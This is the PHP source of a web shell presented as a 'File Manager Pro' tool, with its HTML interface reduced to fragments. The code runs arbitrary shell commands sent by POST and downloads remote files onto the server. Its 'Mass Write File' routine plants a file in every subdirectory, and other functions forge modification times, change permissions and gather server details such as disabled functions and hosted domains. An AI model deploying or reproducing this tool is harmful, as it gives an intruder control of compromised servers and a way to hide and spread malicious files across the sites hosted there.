'; exit; } // Path $action = isset($_GET['action']) ? $_GET['action'] : 'filemanager'; $path = isset($_GET['path']) ? realpath($_GET['path']) : getcwd(); if (!$path || !is_dir($path)) $path = getcwd(); $parent = dirname($path); // Handle sort preference if(isset($_GET['sort'])) $_SESSION['sort']=$_GET['sort']; if(isset($_GET['order'])) $_SESSION['order']=$_GET['order']; $sort = isset($_SESSION['sort']) ? $_SESSION['sort'] : 'name'; $order = isset($_SESSION['order']) ? $_SESSION['order'] : 'asc'; // Handle search $search = isset($_GET['search']) ? $_GET['search'] : ''; // Handle POST actions if ($_SERVER['REQUEST_METHOD'] == 'POST') { try { $self = __FILE__; if($action=='command' && isset($_POST['cmd'])){ $cmd_path = isset($_POST['path']) ? $_POST['path'] : getcwd(); if (is_dir($cmd_path)) { chdir($cmd_path); } if(function_exists('shell_exec')){$output = shell_exec($_POST['cmd'].' 2>&1');}elseif (function_exists('proc_open')) {$d = [0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']]; $p = proc_open($_POST['cmd'],$d,$pipes);if (is_resource($p)) {fclose($pipes[0]);$output = stream_get_contents($pipes[1]).stream_get_contents($pipes[2]);fclose($pipes[1]); fclose($pipes[2]); proc_close($p);}else{$output="proc_open failed!";}}else{$output="Server function disabled!";} echo '
'.$output.'
'; exit; } elseif (isset($_POST['summon_url'], $_POST['summon_path'])) { $url = trim($_POST['summon_url']); $dir = rtrim($_POST['summon_path'], '/\\'); $file = basename(parse_url($url, PHP_URL_PATH)); $save = $dir.'/'.$file; if (!filter_var($url, FILTER_VALIDATE_URL)) $_SESSION['msg']="URL Not Valid to Summon!"; elseif (file_exists($save)) $_SESSION['msg']="$file already Summoned!"; elseif (($data = @file_get_contents($url)) === false) $_SESSION['msg']="Failed summon from selected program!"; elseif (@file_put_contents($save, $data) !== false) $_SESSION['msg']="$file Summoned!"; else $_SESSION['msg']="Failed summon!"; $_SESSION['msg_type'] = strpos($_SESSION['msg'], 'Summoned!') !== false ? 'success' : 'error'; exit; } else if ($action=='mdfc' && isset($_POST['mdfc_base_dir'], $_POST['mdfc_name'], $_POST['mdfc_content'])) { function mdfc($d,$f,$c,&$s=0,&$g=0){ if(!is_dir($d))return; $p=rtrim($d,'/')."/".$f; if(@file_put_contents($p,$c)!==false){echo "[✓] $p\n";$s++;}else{echo "[✗] $p\n";$g++;} foreach(scandir($d)as$i)if($i!='.'&&$i!='..'&&is_dir($d.'/'.$i))mdfc($d.'/'.$i,$f,$c,$s,$g); } echo "
";
            mdfc($_POST['mdfc_base_dir'],basename($_POST['mdfc_name']),$_POST['mdfc_content'],$s,$g);
            echo "\Done. Success: $s | Failed: $g
";exit; } elseif (isset($_POST['get_content'])) { $f = basename($_POST['get_content']); if ($f == $self) { echo 'Author @willygoid'; } else { $file = $path.'/'.$f; if (is_file($file)) {echo file_get_contents($file);} else {echo '';} } exit; } elseif (isset($_POST['new_folder'])){ mkdir($path.'/'.basename($_POST['new_folder'])); $_SESSION['msg']='Folder created'; $_SESSION['msg_type']='success'; } elseif (isset($_POST['new_file'])){ $new = basename($_POST['new_file']); if($new==$self){ $_SESSION['msg']='Cannot overwrite file manager itself'; $_SESSION['msg_type']='error'; } else { file_put_contents($path.'/'.$new, ''); $_SESSION['msg']='File created'; $_SESSION['msg_type']='success'; } } elseif (isset($_POST['delete'])){ $t=basename($_POST['delete']); if($t==$self){ $_SESSION['msg']='Cannot delete file manager itself'; $_SESSION['msg_type']='error'; } else { $target=$path.'/'.$t; if(is_dir($target)?rmdir($target):unlink($target)){ $_SESSION['msg']='Deleted successfully'; $_SESSION['msg_type']='success'; } else{ $_SESSION['msg']='Delete failed'; $_SESSION['msg_type']='error'; } } } elseif (isset($_POST['rename_from'],$_POST['rename_to'])){ if(rename($path.'/'.basename($_POST['rename_from']),$path.'/'.basename($_POST['rename_to']))){ $_SESSION['msg']='Renamed successfully'; $_SESSION['msg_type']='success'; } else{ $_SESSION['msg']='Rename failed'; $_SESSION['msg_type']='error'; } } elseif (isset($_POST['edit_file'],$_POST['content'])){ $edit = basename($_POST['edit_file']); if($edit==$self){ $_SESSION['msg']='Cannot edit file manager itself'; $_SESSION['msg_type']='error'; } else { if(file_put_contents($path.'/'.$edit,$_POST['content'])!==false){ $_SESSION['msg']='Saved successfully'; $_SESSION['msg_type']='success'; } else{ $_SESSION['msg']='Save failed'; $_SESSION['msg_type']='error'; } } } elseif (isset($_FILES['files'])){ $ok=0; foreach($_FILES['files']['tmp_name'] as $i=>$tmp) if(move_uploaded_file($tmp,$path.'/'.basename($_FILES['files']['name'][$i]))) $ok++; $_SESSION['msg']= $ok.' file(s) uploaded'; $_SESSION['msg_type']='success'; } elseif (isset($_POST['update_perm']) && isset($_POST['perm_value'])) { $file=$path.'/'.basename($_POST['update_perm']); if(@chmod($file, octdec($_POST['perm_value']))){ $_SESSION['msg']='Permission updated'; $_SESSION['msg_type']='success'; } else{ $_SESSION['msg']='Update permission failed'; $_SESSION['msg_type']='error'; } } elseif (isset($_POST['update_mtime'],$_POST['mtime_value'])){ $file=$path.'/'.basename($_POST['update_mtime']); if(@touch($file, strtotime($_POST['mtime_value']))){ $_SESSION['msg']='Modified time updated'; $_SESSION['msg_type']='success'; } else{ $_SESSION['msg']='Update failed'; $_SESSION['msg_type']='error'; } } elseif (isset($_POST['download_url'],$_POST['output_name'],$_POST['method'])){ $url=trim($_POST['download_url']); $out=$path.'/'.basename($_POST['output_name']); $method=$_POST['method']; $ok=false; switch($method){ case 'file_get_contents': $d=@file_get_contents($url); if($d!==false)$ok=file_put_contents($out,$d)!==false; break; case 'copy': $ok=@copy($url,$out); break; case 'fopen': $in=@fopen($url,'rb'); $outf=@fopen($out,'wb'); if($in&&$outf){while(!feof($in))fwrite($outf,fread($in,8192)); fclose($in); fclose($outf); $ok=true;} break; case 'stream_context': $ctx=stream_context_create(); $d=@file_get_contents($url,false,$ctx); if($d!==false)$ok=file_put_contents($out,$d)!==false; break; case 'curl': $ch=curl_init($url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); $d=curl_exec($ch); curl_close($ch); if($d!==false)$ok=file_put_contents($out,$d)!==false; break; } $_SESSION['msg']= $ok?'Download success':'Download failed'; $_SESSION['msg_type']=$ok?'success':'error'; } } catch(Exception $e){ $_SESSION['msg']='Error: '.$e->getMessage(); $_SESSION['msg_type']='error'; } header('Location: '.$_SERVER['REQUEST_URI']); exit; } // Scan dir $files=scandir($path); $folders=[];$regular_files=[]; foreach($files as $f){ if($f=='.'||$f=='..')continue; $fp=$path.'/'.$f; $stat = stat($fp); if($search && stripos($f,$search)===false) continue; $u = function_exists('posix_getpwuid') ? (posix_getpwuid($stat['uid'])['name'] ?? '?') : '?'; $g = function_exists('posix_getgrgid') ? (posix_getgrgid($stat['gid'])['name'] ?? '?') : '?'; $perm= substr(sprintf('%o', $stat['mode']), -3); $item=['name'=>$f,'mtime'=>$stat['mtime'],'owner'=>$u.':'.$g,'perm'=>$perm]; if(is_dir($fp)){ $folders[]=$item; }else{ $item['size'] = getSize($stat['size']); $regular_files[]=$item;} } //Calculate file size function getSize($s) { for ($i = 0; $s >= 1024 && $i < 4; $i++) $s /= 1024; return round($s, 2) . ['B','KB','MB','GB','TB'][$i]; } // Sort $sort_func = function($a, $b) use ($sort, $order) { if ($sort == 'mtime') { if ($order == 'asc') { return ($a['mtime'] == $b['mtime']) ? 0 : (($a['mtime'] < $b['mtime']) ? -1 : 1); } else { return ($a['mtime'] == $b['mtime']) ? 0 : (($a['mtime'] > $b['mtime']) ? -1 : 1); } } else { return ($order == 'asc') ? strcasecmp($a['name'], $b['name']) : strcasecmp($b['name'], $a['name']); } }; usort($folders,$sort_func); usort($regular_files,$sort_func); // URL builder function toggle_order($c){return $c=='asc'?'desc':'asc';} function sort_url($by,$cs,$co,$p,$s){$o=($by==$cs)?toggle_order($co):'asc'; return "?path=".urlencode($p)."&sort=$by&order=$o&search=".urlencode($s);} //Breadcrumbs $parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR)); $breadcrumbs = []; $build = DIRECTORY_SEPARATOR; foreach ($parts as $part) { if ($part === '') continue; $build .= $part . DIRECTORY_SEPARATOR; $breadcrumbs[] = ['name'=>$part, 'path'=>$build]; } // Goto Dir $self_dir = dirname(realpath(__FILE__)); $docroot = realpath($_SERVER['DOCUMENT_ROOT']); //Count Domain function countDomains($f='/etc/named.conf'){ if(strtoupper(substr(PHP_OS,0,3))==='WIN') return '-'; if(!is_readable($f)) return "-"; $c=0; foreach(file($f, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) as $l) if(strpos($l,'zone')!==false && preg_match('#zone "(.*)"#',$l,$m) && strlen(trim($m[1]))>2) $c++; return "$c Domain"; } //Downloader function downloader($url, $dest = null) { if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 10); if ($dest === null) { curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $data = curl_exec($ch); curl_close($ch); return $data !== false ? $data : false; } $fp = fopen($dest, 'w'); if (!$fp) return false; curl_setopt($ch, CURLOPT_FILE, $fp); $res = curl_exec($ch); curl_close($ch); fclose($fp); return $res !== false; } if ($dest !== null && ini_get('allow_url_fopen')) { return @copy($url, $dest); } return ini_get('allow_url_fopen') ? @file_get_contents($url) : false; } //Get Ip Public Info function getPublicIP(){return ($ip=downloader('https://api.ipify.org'))?$ip:gethostbyname(gethostname());} //Server info function getServerInfo(){ return [ 'Server IP' => getPublicIP(), 'OS' => php_uname(), 'PHP Version' => PHP_VERSION, 'Server Software' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'CLI', 'Disabled Functions' => ($d = ini_get('disable_functions')) ? implode(', ', explode(',', $d)) : '-', 'Loaded Extensions' => implode(', ', get_loaded_extensions()), 'My IP' => isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '-', 'User:Group' => get_current_user() . ':' . (function_exists('posix_getgrgid') && function_exists('posix_geteuid') ? posix_getgrgid(posix_geteuid())['name'] : '?'), 'Domains' => countDomains() ]; } ?> File Manager Pro

FILE MANAGER

Logo App
  1. $crumb): ?>

💻 Server Info

    $v): ?>
  • :

💡 Execute Command

Mass Write File

🏠Root 📂 FM Dir
Name Owner Size Perm Last Modified Action
📁 ..----
📁 📄

✏️ Edit:

Delete ?

New name:

File name:

Folder name:

Edit Last Modified of :

URL Source:

Output Name:

Method:

Edit Permission of :

Copyleft @willygoid

v